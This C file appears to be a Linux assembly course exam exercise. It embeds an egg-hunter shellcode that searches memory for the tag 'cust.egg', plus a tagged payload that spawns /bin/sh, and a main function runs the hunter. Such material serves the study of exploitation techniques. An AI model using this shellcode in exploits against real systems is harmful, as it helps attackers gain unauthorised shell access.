SLAE/exam3/shellcode.c
2013-03-27 15:06:53 +01:00

19 lines
688 B
C

#include <stdio.h>
#include <string.h>
unsigned char hunter[] = "\xeb\x1e\x58\x40\x81\x78\xf8\x63\x75\x73\x74\x75\xf6\x81\x78\xfc\x2e\x65\x67\x67\x75\xed\xff\xd0\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xdd\xff\xff\xff";
unsigned char garbage1[] = "Just some garbage here...";
unsigned char payload[] = "\x63\x75\x73\x74\x2e\x65\x67\x67\x31\xc9\xb1\x08\x48\xe2\xfd\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
unsigned char garbage2[] = "And some garbage there...";
main()
{
printf("Hunter Length: %d\n", strlen(hunter));
printf("Payload Length: %d\n", strlen(payload));
int (*ret)() = (int(*)())hunter;
ret();
}